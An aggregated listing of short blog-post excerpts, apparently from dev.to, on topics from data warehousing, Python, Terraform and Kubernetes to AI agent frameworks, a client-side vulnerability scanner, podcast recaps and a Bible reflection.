    A few months ago, all of your startup’s data could be stored in just one database. Now, you’re overwhelmed by customer data from six separate services, and your operations team is requesting detailed analytics. Relying on manual data queries to the production database is no longer feasible, and with your engineering team already at capacity, you need a specialized layer that can deliver insights without disrupting your customer-facing production systems. Nowadays, businesses produce data from all directions: user interactions, logs, third-party tools, and more. To generate meaningful business insights, you need data—and as such, your data architecture shapes what you can analyze. Production databases, designed for user operations, aren’t built to handle the complex queries needed for in-de…  ( 11 min )
    What is Nuxeo? A brutally honest assessment from 10+ years of implementation
    After a decade training Nuxeo developers, I can predict when someone quits: Day three. They're drowning in diagrams trying to understand document models, schemas, facets, repositories, event buses, lifecycle states, automation chains... What I wish someone told me in 2013: Don't try to understand Nuxeo's architecture first. Start with OSGi concepts and solid Java. Everything becomes logical after that. Real prerequisites: Java 11/17/21 (solid skills, not "took a class once") OSGi concepts (bundle lifecycle, service registry, extension points) REST API mastery Polymer 3.x (if touching UI) Common pitfalls: Trying to understand everything before coding Ignoring OSGi (then weird classloading errors) Fighting the platform vs learning its patterns Using Java for stuff Studio generates in minutes Not reading logs (they're helpful!) Full guide covers: Week-by-week learning roadmap Real-world success patterns with metrics Honest "choose if / skip if" assessment Code examples and architecture Article: Full reading here Happy to answer questions about Nuxeo, OSGi, ECM, or implementation challenges.  ( 6 min )
    Type hints in Python (6)
    Buy Me a Coffee☕ *Memo: My post explains type hints (1). My post explains type hints (2). My post explains type hints (3). My post explains type hints (4). My post explains type hints (5). Callable and Protocol can be used for a function as shown below: *Memo: Callable can specify function parameter and return types, doing less than Protocol: The 1st argument is paramtypes(Required:-Type:list(Type) or ellipsis): It's a list of one or more parameter types. ... (but not Ellipsis) can be used to accept the zero or more arguments of all types but it shouldn't be used because it's too gereral: ... is different from Any which accepts the one argument of all types. Don't use paramtypes=. The 2nd argument is returntype(Required-Type:Type)): It's a return type. Don't use returntype=. Proto…  ( 8 min )
    Mastering Python Code Quality: A No-Nonsense Guide to Tools That Actually Prevent Technical Debt
    Hey fellow engineers—tired of codebases that start clean and end up as tangled messes? You're not alone. Most teams slap on a linter and a formatter, pat themselves on the back, and then spend years wrestling with tech debt. This guide cuts through the hype: a curated comparison of Python code-quality tools, spotlighting the heavy hitters like Ruff and Bandit, plus emerging stars Skylos and PySCN. We're talking strict, production-grade quality here—no fluffy marketing. We'll break down what each tool analyzes, its superpowers (and blind spots), and when to deploy it. By the end, you'll have precise recommendations to bulletproof your pipeline. Whether you're scaling a startup prototype or taming a legacy monolith, this is your roadmap to code that doesn't just work today but scales tomorr…  ( 9 min )
    Temporal Workflow Orchestration: Building Reliable Agentic AI Systems
    Introduction In the world of distributed systems and agentic AI, managing complex, long-running workflows reliably is a significant challenge. Traditional approaches often struggle with failures, state management, and ensuring that processes complete successfully even when systems crash or network issues occur. Temporal is an open-source platform that solves these problems by providing durable, reliable workflow orchestration. It abstracts away the complexities of distributed systems, allowing developers to focus on business logic while Temporal handles failures, retries, and state management automatically. This article explores Temporal's core concepts, workflow patterns, and how it's revolutionizing the development of agentic AI systems. Temporal is a workflow orchestration platform th…  ( 20 min )
    VueFinder — A Modern File Manager for Vue
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    My Journey Into Cloud Engineering: Embracing the Shift
    Working in hospital theatre recovery has taught me the importance of precision, adaptability, and reliable systems. Beyond patient care, I’ve also been closely involved with managing data, coordinating appointments, and ensuring smooth workflows. The more I worked with these digital systems, the more I realised something bigger was happening around us. Technology, especially AI is reshaping industries at an incredible pace. I began to see how automation, cloud solutions, and smart data systems are becoming the backbone of modern healthcare and beyond. That shift changed my perspective. I didn’t just want to use these systems. I want to understand and contribute to the technology driving them. This curiosity led me into data analysis, then data engineering, where I explored how information flows and how insights are created. Each step opened a new path and ultimately guided me toward Cloud Engineering and DevOps. The foundations that power AI, automation, and scalable digital systems. Balancing a full time healthcare role with learning tech hasn’t always been easy, but it has been rewarding. For me, this transition is about embracing change, staying future ready, and being part of the innovations that are reshaping our world. I’ll be sharing my journey. The lessons, challenges, and small wins along the way. If you’re also navigating a career transition or exploring the cloud/AI space, I’d love to connect and grow together.  ( 6 min )
    Panic in the sandbox
    Day 1 — Trying to get the QEMU kernel sandbox going Time to setup the environment for kernel development. Rather than risk shooting myself in the foot on my bare host, I decided to: build a custom kernel + minimal user land, and boot it inside QEMU. What I thought would be a straightforward path — went somewhat astray, or at least was different than what I'd expected it would be. Clone a recent upstream Linux kernel source tree. Installed dependencies (compiler, build tools, kernel-dev libs, etc.). Configure the kernel (make defconfig), enabled built-in drivers I expected to need (make kvm_guest.config). Which the built in configs for kvm was nice to find instead of having to menuconfig and change them all myself, or write config snippets and merge them with merge_config Built a minimal root filesystem using BusyBox + a tiny initramfs / minimal userland. This provided a good refresher of how booting the kernel works. Launched QEMU: point it to the kernel image, attach the rootfs, set console/serial, etc. A quick "hello world" environment. Boot → get a kernel log on serial → minimal root shell → experiment with loading modules / tinkering / debugging — all safely sandboxed, without risking my host’s stability. What followed was… a lot of head-scratching. Mostly I spent a ton of time digging through forums and reading posts about how the systems worked, but it really wasn't all that bad. Starting with some kernel panics as init wasn't built properly or I was pointing to the wrong bzImage. Once I got all the pieces properly laid out it all worked perfectly. A nice safe environment where I don't have to worry about crashing my daily driver. Build and test a trivial kernel module, load it, unload it.  ( 6 min )
    Scaling a Payment Platform for Black Friday: A 10x Traffic Spike Strategy on AWS
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    Day 03 - Provisioning Your First AWS S3 Bucket with Terraform
    As you embark on your journey into Infrastructure as Code (IaC), understanding how to translate simple resource needs into code is the essential first step. Terraform enables us to define infrastructure, ensuring consistency and efficiency. This blog post walks through the process of provisioning the simplest possible resource on AWS: an S3 bucket, leveraging the core Terraform workflow. To begin provisioning any resource, you must first define your configuration in a file that uses the .tf extension (e.g., main.tf). Terraform recognizes this extension as a configuration file. For our task creating an S3 bucket, we consult the Terraform documentation to find the required resource type: aws_s3_bucket. Code Example: Defining the S3 Bucket internal name (e.g., firstbucket), which is used to …  ( 8 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    Bill Simmons, Chris Ryan, and Cousin Sal fire up their Monday night parlay as they revisit Two for the Money, the 2005 sports-thriller where Matthew McConaughey plays a betting wunderkind under Al Pacino’s tutelage. After a quick cold open, they dissect the film’s high-stakes gambling scenes, pick their Most Rewatchable Moment, and then dive into their signature category games. Between sharp takes and friendly banter, the crew keeps it light—shout-out to Subaru’s Share the Love event and State Farm for chiming in—before wrapping up with links to The Ringer shop and social channels. Perfect for anyone craving a mix of sports insights and Hollywood hustle. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 3 - '25th Hour’
    Sean Fennessey and Amanda Dobbins wrap up their yearlong countdown by landing Spike Lee’s 2002 drama 25th Hour at No. 3, praising it as an under-appreciated masterpiece that lives and breathes in real time. They unpack Lee’s bold stylistic choices—everything from the kinetic camera work to the razor-sharp dialogue—that make the film feel urgent, intimate, and emotionally gut-wrenching. Beyond its tense narrative of a man’s last day of freedom, the hosts highlight the movie’s “fricative tension,” the way every idea and interaction crackles with unsaid conflict. Whether you’re streaming on Prime or catching it for the first time, they argue, 25th Hour remains one of the century’s most affecting cinematic experiences. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is a snappy Cinemasins video that playfully rips into the latest KPop Demon Hunters flick, dishing out fast-paced “sins” commentary and tongue-in-cheek jokes. On top of that, the description hooks you up with links to Cinemasins’ main site, extra YouTube channels, social media hubs, a fan poll, and Patreon. You’ll also find full writer credits plus invites to their Discord, Reddit, Instagram, TikTok—and even Jeremy’s book if you need more sinning in your life. Watch on YouTube  ( 6 min )
    I Turned LangChain JS Into a Simple Learning Path — Free & Open Source
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    Cache Optimization in Rust: From HashMap Surprises to 4x Image Processing Speedup
    The Surprising Benchmark Imagine we have a task, me and you: a file with 10000 words in it - count the occurrence of each word, and present us with top-10 of the most common words there. We come up with some ideas, write those ideas out on an IDE, and now we benchmark it to see how blazingly fast our API is. word_counting_hashing time: [4.6504 ms 4.6591 ms 4.6686 ms] Found 13 outliers among 100 measurements (13.00%) 6 (6.00%) high mild 7 (7.00%) high severe word_counting_binary time: [29.797 ms 30.042 ms 30.304 ms] Found 6 outliers among 100 measurements (6.00%) 6 (6.00%) high mild Benchmarking word_counting_linear: Warming up for 3.0000 s Warning: Unable to complete 100 samples in 5.0s. You may wish to increase target time to 12.0s, or reduce sample count to 40. word_co…  ( 17 min )
    When Jesus Walks Into the Story You Stopped Hoping Would Change: A Deep Encounter with John Chapter 5
    There are moments in the Bible that read like history—and then there are moments that read like you. John Chapter 5 is one of those moments. It is not gentle. It is not simple. It does not sit quietly in the corner of Scripture. It confronts you. It exposes you. It comforts you. It awakens you. It speaks to the parts of your life that feel old, tired, worn down, and forgotten by time. It speaks to the cycles you’ve learned to live with, the pain you’ve learned to manage, the disappointment you’ve learned to hide, and the long-term struggles you’ve learned to survive. John 5 is not about a man who needed healing. This chapter is about mercy with muscle. John 5 is the chapter that won’t let you stay the same. The Pool of Bethesda: The Geography of Pain and Waiting Before you can understand t…  ( 13 min )
    iOS Unit Testing Tutorial with Xcode & Swift
    iOS unit testing is a fundamental practice in modern iOS app development, helping developers ensure that each component of their app works as intended. By writing Swift unit tests using the XCTest framework, developers can verify the logic of individual classes, methods, and functions in isolation, reducing bugs and improving code quality. Unit testing is a cornerstone of iOS automated testing and plays a vital role in Test-driven development iOS workflows, where teams often use an iOS simulator online to quickly execute tests.Incorporating unit tests early in development ensures that your app remains stable, maintainable, and easier to scale. In this tutorial, we will explore the essentials of iOS unit testing, demonstrate practical examples using Swift unit tests, and highlight best prac…  ( 15 min )
    GitOps & Argo CD: A Complete Introduction.
    A hands-on developer-focused introduction to GitOps and Argo CD. Learn how GitOps works, why it matters, and how to deploy your first Kubernetes application using Argo CD with examples, diagrams, and real-world use cases. 📑 Table of Contents What Is GitOps? Why GitOps Matters for Developers Core Principles of GitOps Argo CD Overview & Architecture Installing Argo CD Deploying Your First Application with Argo CD Real-World GitOps Use Cases Common Developer Questions Related Tools & Libraries Conclusion + Call to Action SEO Keywords Suggested Dev.to Tags Canonical Link Notice Cover Image What Is GitOps? GitOps is an operational model where Git becomes the single source of truth for describing infrastructure and application state. Instead of pushing changes directly to Kubernetes, devel…  ( 9 min )
    Why ARCH and GARCH? A Gap in Classical Modeling
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    Wednesday Links - Edition 2025-11-26
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    Platform Engineering: Building Internal Developer Platforms
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    Most UI tests today still look like this: you code the steps, you hard-code selectors (IDs, XPath, CSS), you pray they don’t break on the next release. This works… until: the accessibility tree is a mess, the app runs inside a WebView, the UI is legacy or hybrid, or there is no reliable locator at all. At that point, traditional automation just gives up. I’ve been working on a different approach: Instead of hard-coding selectors and steps, let an AI agent build the locator and the action at runtime. This is what our project, AI Agent, is about. 🚀 AI Agent is open source & early-stage. If this resonates with you, please ⭐ star the repo: 👉 https://github.com/aidriventesting/Agent It helps a lot with visibility and future sponsorship. AI Agent is an open-source project that plugs into yo…  ( 9 min )
    Europe Launches OGCR: A New Open-Source Carbon Registry for Agriculture and Forestry
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    [Boost]
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    The Two Programming Styles of AI — and Why Everyone Uses the Wrong One
    AI keeps crashing against the same walls Yep, everybody, even Tesla, is using the old damn math from 2 centuries ago, and hence it’s not surprising to watch many of scenes like this all over YouTube when you rely on AI driving your Tesla: Apparently, not even Tesla - with its 1.4 Trillion valuation and army of PhDs - knows about this math. Or maybe they do, and just enjoy watching their cars perform interpretive dance routines at 60 mph. Either way, here’s the greatest hits compilation you’ve seen all over YouTube: The Tesla Self-Driving Blooper Reel: 🎬 Phantom Braking - The car slams the brakes for a shadow. Because apparently, shadows are the #1 threat to highway safety in the 21st century. 🎬 The Surprise Party Turn - Takes curves at full speed, then goes “OH SHIT A CURVE!” and throw…  ( 13 min )
    Unlock Insights: Data Wiring for Concept Discovery by Arvind Sundararajan
    Unlock Insights: Data Wiring for Concept Discovery Drowning in data but starving for understanding? We've all been there. Traditional analytics often reveals correlations, but struggles to explain the underlying logic driving those patterns. What if you could visualize the flow of information that shapes complex processes, revealing hidden causal relationships? Imagine wiring diagrams, but for data. We're talking about creating labeled, directed graphs that map the sequential flow of information and reveal the core logic of a system. These diagrams essentially "wire up" data points into a visual narrative, revealing how one event predictably leads to another, ultimately clarifying underlying concepts. This approach translates sequential data into a network of states and transitions. The …  ( 7 min )
    Coforge Introduces Forge-X to Improve Software Projects and Engineering Productivity
    New Forge-X platform by Coforge helps teams deliver software faster, improve project quality, and coordinate work across multiple locations Coforge announced the introduction of Forge-X an integrated engineering and delivery platform that totally changes the way software is delivered. It is based on agentic AI concepts. To deliver complex technology transformations at scale this whole platform uses autonomous AI agents that leverage Coforge's deep engineering experience and use contextual decision-making based on the firm's industry domain depth. Read full news here: https://bizfortune.com/2025/11/business-fortune-forge-x-improve-software-projects  ( 6 min )
    Creating IAM User, S3 Bucket and VPC
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    "Dependency injection patterns in Swift"
    One of the most useful patterns in software development — and one that is available in many languages, not just Swift — is dependency injection. When I first learned about it over a decade ago, I started using it everywhere possible. It’s a simple idea with a surprisingly big impact. Here’s why it’s worth mastering. One of the biggest advantages of using dependency injection is that it makes our code immediately more testable. Even in projects full of singletons, we can break apart large chunks of tightly coupled code into smaller, more loosely coupled components. Our implementations rely more on protocols (interfaces) rather than concrete classes, making it easier to swap or replace them. By depending on abstractions rather than concrete implementations, each component can focus solely on…  ( 10 min )
    Fixing React Error #306 in Next.js App Router
    What is React Error #306? React Error #306 occurs when you try to pass a non-serializable object (like a function, class instance, or complex object) across the server/client component boundary in Next.js App Router. The full error message is: Objects are not valid as a React child (found: [object Object]). If you meant to render a collection of children, use an array instead. In production, you'll see the minified version: Error: Minified React error #306; visit https://react.dev/errors/306?args[]=%5Bobject%20Object%5D&args[]= for the full message Environment Behavior Development (npm run dev) React is lenient and allows some serialization issues to pass silently Production (npm run build && npm start) React strictly enforces serialization rules and throws errors This hap…  ( 11 min )
    Why is continuous test automation essential for modern software development?
    In today’s software world, speed and quality go hand in hand. Teams release updates faster than ever, but every new code change brings the risk of bugs or system errors. That’s why continuous test automation has become so important. It helps developers catch problems early, fix them quickly, and deliver reliable software without slowing down. Working with an experienced automation testing company ensures your testing process runs smoothly from start to finish — helping you release better products faster. Modern development depends on automation. In a DevOps pipeline, testing happens automatically at every stage — from code commits to deployment. This process is known as continuous testing in DevOps, and it keeps your software stable during rapid updates. Tools that support continuous integ…  ( 7 min )
    如何优化您的亚马逊Listings以适应 Rufus AI:第三方卖家实用指南
    From:how-to-optimize-your-amazon-listings-for-rufus-ai-a-tactical-guide-for-3p-sellers 亚马逊 Rufus AI 是电商领域又一项突破性的升级。它是一款对话式、人工智能驱动的助手,能够帮助购物者更快地找到更合适的商品。但对于第三方卖家来说,更重要的是:Rufus 不仅仅根据关键词推荐商品。它会解读您的整个产品详情页面,包括标题、要点、A+ 内容、评论,甚至视频,从而判断相关性。 您的商品信息不再仅仅供人阅读。Rufus 也会阅读它们。如果您的文案未能清晰传达产品优势,如果您的关键词隐藏在后台深处,或者如果您的 A+ 内容只是填充内容,那么您的商品就不会被推荐。 能够快速适应并调整内容和 PPC 以符合 Rufus 偏好的卖家,将赢得更高的曝光率、点击量和转化率。 让我们来谈谈策略。 作为第三方卖家,您可能至少遇到过以下一项挑战;自然排名下滑、关键词转化率不如以往,或者竞争对手排名上升却不降价,这些都可能预示着亚马逊正在针对 Rufus 进行优化。 以下是正在发生的变化: 仅仅依靠关键词已经不够了。Rufus 会评估内容的整体相关性。 通用的要点会被过滤掉。人工智能能够理解含义和措辞。 即使看起来不错,但缺乏价值的 A+ 内容也无法提升排名。 付费搜索广告 (PPC) 也无法弥补内容质量的不足。 如果您的商品信息仍然沿用过时的结构,例如堆砌关键词的标题、浅显的要点描述和极少的 A+ 内容,Rufus 将不会识别您的商品。 问:为什么亚马逊的人工智能叫做 Rufus? 答:Rufus 是一只威尔士柯基犬的名字,它曾经是亚马逊办公室里一位备受喜爱和熟悉的伙伴。 问:什么是亚马逊 Rufus 人工智能? A. 内置人工智能助手,可通过实时回答购物者的问题来帮助购物者找到产品。 Rufus 注重自然…  ( 6 min )
    What makes .NET development solutions ideal for managing retail inventory?
    Running a retail business sounds fun… until you start handling inventory. One store is manageable, but when products, warehouses, and online orders start piling up, things get messy fast. That’s where .net development services come in. A good .NET development solution can keep stock organized, update in real time, and stop you from losing sales because of missing or wrong inventory. It gives retailers a simple way to control items, manage stores, and track numbers without stress. .NET is a solid choice for building retail software because it works well with POS systems, scanners, and online stores. It supports real-time data, making sure you always know what is in stock. It also helps with inventory tracking, barcode scanning, and even cloud-based inventory. When businesses need something …  ( 7 min )
    MySQL HeatWave: Migrating Your Data to HeatWave Service
    Migrating data to MySQL HeatWave is a critical step in leveraging the cloud's power for your database workloads. MySQL Shell dump utilities provide the recommended method for exporting data from source MySQL databases and importing them into HeatWave DB systems. These utilities offer HeatWave-specific compatibility checks, parallel processing, and automatic modifications to ensure smooth migrations. This guide covers dump utilities, compatibility checks, and best practices for successful data migration to MySQL HeatWave. Data migration to MySQL HeatWave involves moving data from a source MySQL database (on-premises, cloud, or other infrastructure) to a target MySQL HeatWave DB system in Oracle Cloud Infrastructure. Migration Process: Export data from source using MySQL Shell dump utilities…  ( 12 min )
    The Rising Complexity of Modern CSS
    Modern CSS is nothing short of incredible. It gives us the tools to craft rich, interactive, and visually stunning experiences on the web. But with this surge in capability comes a new weakness—not in CSS itself, but in the way we work with it. When I started my career as a web developer, writing CSS often meant inventing hacks to work around what it couldn’t do. Those days are far behind us. Today, CSS offers advanced layout systems, 3D transformations, and highly flexible animation tools. Yet most of the challenges we face in modern CSS aren’t about missing features—they stem from how we author it. This is why the future of CSS might not live in plain text files at all, but in visual creation tools. That idea might sound outrageous at first, but bear with me—I’ll try to make the case. De…  ( 8 min )
    DEVLOG #0-What is DEBMO?
    So on Nov 3rd, after months of feeling completely lost about what I want to do in the future, I finally decided on my path. That path is DEBMO. It originally started as something much smaller, called Project-DB, a drag-and-drop (DnD) query tool that would let tech and non-tech people work with databases without hassle. The idea was to connect multiple databases (MariaDB, PostgreSQL, even Snowflake warehouses), run queries, and process data in one place. After I met the two people who later joined me on this journey, we realized it needed to be more than “just” a query tool. That’s when we came up with things like Excelerator, Data Studio, and a more advanced permissions system to support the way teams actually work with data together. Right now, I’m the only one working on the development side. There have already been a lot of sleepless nights going into this, and I don’t regret even 0.1% of it. So far, we’ve built: The main project structure Connections to Buckets / DB / Redis Login with 2FA Role-based permissions The Admin Portal It’s tiring and hard, but it’s also exciting to see it slowly become real. Our current goal is to have a free testing phase starting around Jan/Feb, where anyone can try the MVP for a few months. During that time we’ll collect feedback, fix bugs, and ship the features we still have planned. The MVP will stay free during this testing period before we eventually move to paid plans later on. If you’re interested in the project, want to follow the development, or give feedback before and during the testing launch, you can join the DEBMO Discord server (link below). Until then, I’ll be posting weekly devlogs here on dev.to to share progress, decisions, and struggles along the way. Wish me luck on this journey. 🚀 Link: https://discord.gg/zJC8tU2y  ( 7 min )
    🚀 22s to 4s: How AI Fixed Our Vitest Performance
    Running unit tests shouldn't feel like a coffee break. But on our main frontend project, that's exactly what happened. Every time we launched a single test file, we had to wait over 20 seconds before the first test even started. We tried the usual fixes: tweaking the vitest.config.ts, isolating threads, optimizing mocks... Nothing worked. The bottleneck wasn't in the configuration—it was deep in our architecture. In this article, I share how we used Gemini 3 Pro to identify and fix the issue, dividing our local test startup time by 5 and saving 15 minutes on every CI pipeline run. ✅ The "God Module" Anti-Pattern: How importing a single utility can silently load your entire application. ✅ AI-Assisted Debugging: Why Gemini 3 Pro succeeded where other models failed to diagnose architectural …  ( 7 min )
    The Workforce of Tomorrow: How Monitoring Shapes Team Excellence
    The workplace is rapidly transforming, fueled by remote work, digital collaboration, and the rising need for efficient and transparent performance management. In this evolving environment, organizations are increasingly adopting employee monitoring tools to understand how work happens not to micromanage, but to empower teams with clarity and actionable insights. These modern solutions provide a strategic advantage, helping companies build cultures rooted in accountability, fairness, and continuous improvement. What Is Monitoring in the Workforce? In the modern workplace, monitoring is no longer about surveillance, it is about enhancing performance visibility, improving operational efficiency, and ensuring that employees get the support they need to perform at their best. When implemented w…  ( 8 min )
    Demo
    भाई तुरंत ब्लॉग उड़ेल दूँगा 5 मिनट में… अरे पहले तो ये लो आपका पहला चैप्टर, एकदम गरमागरम तंदूरी स्टाइल में 🔥 अरे वाह भाई! तूने कोडिंग सीखने का सोचा और सबसे पहले पाइथन पकड़ लिया? सही पकड़े हैं! बाकी लोग अभी C++ में struct-pointer से लड़ रहे होते हैं, तू तो पहले दिन से राजा बनने की तैयारी कर रहा है 😂 पाइथन वो भाषा है जो इतनी देसी है कि लगता है गाइडो अंकल ने चाय पीते-पीते ही बना दी होगी। अब ज़रा सोच के देख… तूने कभी सोचा कि जो इंस्टाग्राम चलाता है, जो यूट्यूब रिकमेंडेशन देता है, वो सब किससे बना है? एक ऐसा कोड जो 5 लाइन में काम कर दे जबकि Java में 50 लाइन लगती हैं – वो पॉसिबल है? क्या सच में कोई भाषा इतनी आसान हो सकती है कि 10वीं पास लड़का भी 2 हफ्ते में ऐप बना ले? और हाँ, क्या ये सच है कि पाइथन सीख लिया तो नौकरी में 15-20 LPA आराम से मिल जाता है आजकल? अब चल, मैं तुझे सच बता देता हू…  ( 19 min )
    Serverless vs Containers: What’s Winning in 2026?
    The debate between Serverless vs Containers has never been more relevant, and 2026 is the first year where the winning pattern is finally visible. According to recent Cloud Native and FinOps surveys, more than 78% of engineering teams now run hybrid architectures, combining both Serverless and Containers to optimize cost, performance, and development velocity. The truth is clear: Serverless now powers millions of event-driven workloads with almost zero operational overhead. Containers remain the backbone for long-running, stateful, and AI-driven applications. Cloud providers now offer serverless containers, blurring the line between both models. This blog is written for **startup CTOs, infra engineers, cloud architects, DevOps teams, FinOps teams, and digital product engineering co…  ( 10 min )
    Plug & Productionize Your AI Agents with AWS Bedrock AgentCore
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    AI Agent Frameworks: A Practical Guide
    Artificial Intelligence has revolutionised lives in the past few years. We’ve moved from simple chatbots and prediction tools to a new kind of smart system—AI agents. These agents don’t just respond to questions. They can think, plan, and take action on their own. They can talk to people, use software tools, and even work with other agents to reach goals. But what makes all this possible is something most people don’t see: AI agent frameworks. These frameworks are the hidden structure that helps build, run, and manage AI agents. They are what turn language models into full digital workers. Let’s discuss them in detail. At its essence, an artificial intelligence agent is a kind of software that can sense its surroundings, formulate objectives, and then act in a way to accomplish those objec…  ( 13 min )
    How to build a responsive pricing table with Tailwind CSS and Alpine.js
    I put together a responsive pricing table that actually behaves like a real one: stacks cleanly on mobile, stays readable on desktop, and doesn't fall apart the moment you add one more feature row. There's a full code block you can copy, tweak, and drop into your own project. Read the article and get the code:  https://lexingtonthemes.com/blog/how-to-build-a-responsive-pricing-table-with-tailwind-css-and-alpinejs  ( 6 min )
    The Hidden Cost of Utility Types and Inheritance in TypeScript
    TypeScript's type system is a powerful tool for building robust applications. Features like utility types and interface inheritance feel like natural ways to reduce repetition and structure code. However, when overused, they can silently introduce complexity and fragility that undermine the very maintainability we seek. Utility types like Pick, Omit, and Partial are incredibly convenient. They allow us to create new types on the fly, often saving us from writing verbose type definitions. The Problem: Overusing them, especially nested within other utilities, creates "type opaqueness." The origin and contract of a type become obscured, making the code harder to understand and reason about. Consider this example: type User = { id: string; name: string; email: string; createdAt: Date; …  ( 8 min )
    HashMap in Java - Complete Documentation
    Overview HashMap is a widely-used data structure in Java that implements the Map interface for storing key-value pairs. It delivers O(1) time complexity for fundamental operations like insertion and retrieval under typical conditions. HashMap utilizes an array of nodes as its foundation, commonly referred to as the bucket array. Each bucket can accommodate multiple entries through either a linked list or tree structure when collisions occur. Every entry in the HashMap is represented by a Node object that implements the Map.Entry interface: static class Node implements Map.Entry { final int hash; // Hash code of the key final K key; // The key V value; // Associated value Node next; // Reference to next node } Hash Computatio…  ( 8 min )
    🔥 How to Install GNS3 on Fedora + Your First "Hello, World!" in GNS3 🖥️⚡
    When I first tried installing GNS3 on Fedora, I checked the official GNS3 website — and surprisingly, Fedora wasn’t listed. They only provide installation guides for: Ubuntu-based distros Debian-based distros Arch-based distros But no Fedora 😅 Luckily, GNS3 is actually available on Fedora — directly from its official repositories. Here’s how you can install it and run your very first “Hello, World!” inside GNS3! Even though Fedora isn't listed on the official website, Fedora includes GNS3 in its own package repositories. sudo dnf install gns3-server gns3-gui This gives you: gns3-server → backend gns3-gui → the graphical application When launching GNS3 for the first time, the setup wizard appears. Choose: 👉 Run appliances on my local computer This means the GNS3 server runs on your m…  ( 9 min )
    Turbocharge Your LLMs: A Breakthrough in Neural Network Optimization
    Turbocharge Your LLMs: A Breakthrough in Neural Network Optimization Stuck in slow training cycles? Watch your neural networks grind to a halt, especially with massive language models? Model training can feel like navigating a minefield of instability and frustratingly slow progress. But what if you could sidestep these common pitfalls and unlock significantly faster, more reliable training? The key lies in a new approach to gradient optimization, specifically designed for the complexities of modern neural networks. Imagine a team of rowers – if their strokes are perfectly synchronized (orthogonalized), the boat moves faster and more efficiently. Similarly, by carefully orthogonalizing gradient updates, we can drastically improve convergence speed during training. This novel optimizer em…  ( 7 min )
    Ephemeral Vulnerability Scanner: Pure Client-Side JS for Windows/Linux/macOS Vuln Analysis
    Hey Dev.To community! 👋 I've just launched a new open-source project that might be of interest to those building CI/CD pipelines or managing internal security tooling: Ephemeral Vulnerability Scanner. This is a 100% client-side application built with vanilla JS/HTML/CSS. You clone it, open index.html, upload your system inventory (inventory.json), and get an instant, privacy-safe vulnerability report. 💡 Why this architecture? It addresses the privacy concern: No sensitive system data leaves your device. It's fast and eliminates backend maintenance overhead. It's transparent: you can literally inspect the app.js source to see the entire logic. Under the Hood: We use platform-specific commands (PowerShell, dpkg, rpm, brew) to generate the initial JSON inventory. The analysis logic hits MSRC CSAF API (Windows), OSV.dev API (Open Source), and CISA KEV for a strict, verified lookup. Results are grouped into clean, actionable "Package Cards" with the minimum safe version calculated automatically. Check out the repo, try the demo, and let me know what you think of the client-side approach for security analysis! 🔗 Live Demo: VulnScan  ( 6 min )
    How I gave my AI Agent long-term memory (without the vector DB headache)
    Body: I’ve been building a lot of AI agents lately. The logic is usually fun to write, but I kept hitting the same wall: State Management. LLMs are stateless. As soon as the session ends, the context is gone. Sure, you can pass the chat history, but once that hits the token limit, your agent gets amnesia. The standard solution is "Just use a Vector Database." But setting up a dedicated Pinecone or Weaviate instance, configuring the embedding pipeline (OpenAI/HuggingFace), and writing the chunking logic just to store a few user preferences felt like massive overkill for my side projects. I didn't want to manage infrastructure; I just wanted my agent to remember that my favorite color is blue. So, I spent the last few weeks building a dedicated API to abstract all that boring stuff away. It’…  ( 8 min )
    10x Growth Doesn’t Come From More Tools — It Comes From Removing Friction
    Most engineering teams assume scaling requires adding more: More tools More dashboards More AI More engineers But every experienced engineer eventually learns the truth: Systems don’t slow down because they lack tools. They slow down because of friction. Friction created by scattered data, noisy workflows, redundant SaaS tools, and “manual work disguised as process.” Engineering teams often operate across 15–25 tools. Individually useful. Collectively damaging. Tool sprawl creates: Fragmented data models Multiple “sources of truth” Delays in handoffs Duplicated workflows Hidden manual steps everywhere When each tool stores a different slice of truth, your architecture becomes diffuse, not distributed. 10x companies don’t scale by adding more layers. They scale by reducing …  ( 7 min )
    This Web3 Wallet Connector will save you hours
    GM! Just shipped a production-ready Web3 Wallet Connector with TypeScript & React ⚛️. Deployed on Vercel, source and README on GitHub. Devs, hope this makes your Web3 projects easier? Live Demo  ( 6 min )
    The Future of IT: How Artificial Intelligence is Transforming Technology
    The Information Technology (IT) industry has always been at the forefront of innovation, driving advancements that change the way we live and work. From the early days of mainframes to the modern cloud-based ecosystems, IT continues to evolve at a breakneck pace. One of the most revolutionary forces shaping IT today is Artificial Intelligence (AI). AI in Everyday Technology Artificial Intelligence is no longer a futuristic concept—it’s already part of our daily lives. From smart assistants like Alexa and Siri to recommendation engines on Netflix and Amazon, AI is making technology smarter, faster, and more intuitive. In IT, AI is being leveraged for: Cybersecurity: AI algorithms can detect anomalies in network traffic, identify potential threats, and respond to breaches faster than human t…  ( 7 min )
    Unlocking Performance: A Comprehensive Guide to Web Workers
    JavaScript, by its nature, is a single-threaded language. This means it traditionally executes one operation at a time on the browser's "main thread." This main thread is responsible for everything a user sees and interacts with: rendering the UI, handling user input, running animations, and executing all your application's JavaScript. While this single-threaded model simplifies development in many ways, it presents a significant challenge: what happens when your JavaScript needs to perform a heavy, CPU-intensive task? The answer, historically, was a frozen UI, unresponsive buttons, and a frustrating user experience. Enter Web Workers. Web Workers provide a way to run JavaScript scripts in background threads, separate from the main execution thread of a web page. By offloading CPU-intensiv…  ( 12 min )
    Day 46: Python Moving Average Calculator, Optimized Sliding Window for Simple Moving Average Computation
    Welcome to Day 46 of the #80DaysOfChallenges journey! This intermediate challenge implements a Simple Moving Average (SMA) calculator using an efficient sliding window approach that maintains a running sum, achieving O(n) time complexity while avoiding redundant calculations. It handles user-provided data series and window size, returning a list of averages with proper validation, making it a practical tool for time-series smoothing, financial indicators, or signal processing. If you're advancing from basic loops to performance-aware algorithms or dealing with sequential data, this "Python moving average" script demonstrates a function that's optimized, easy to understand, and ready for extensions like exponential or weighted averages. This task features a function that initializes the fir…  ( 12 min )
    From Policy to Code: How Leading Companies Operationalize Privacy
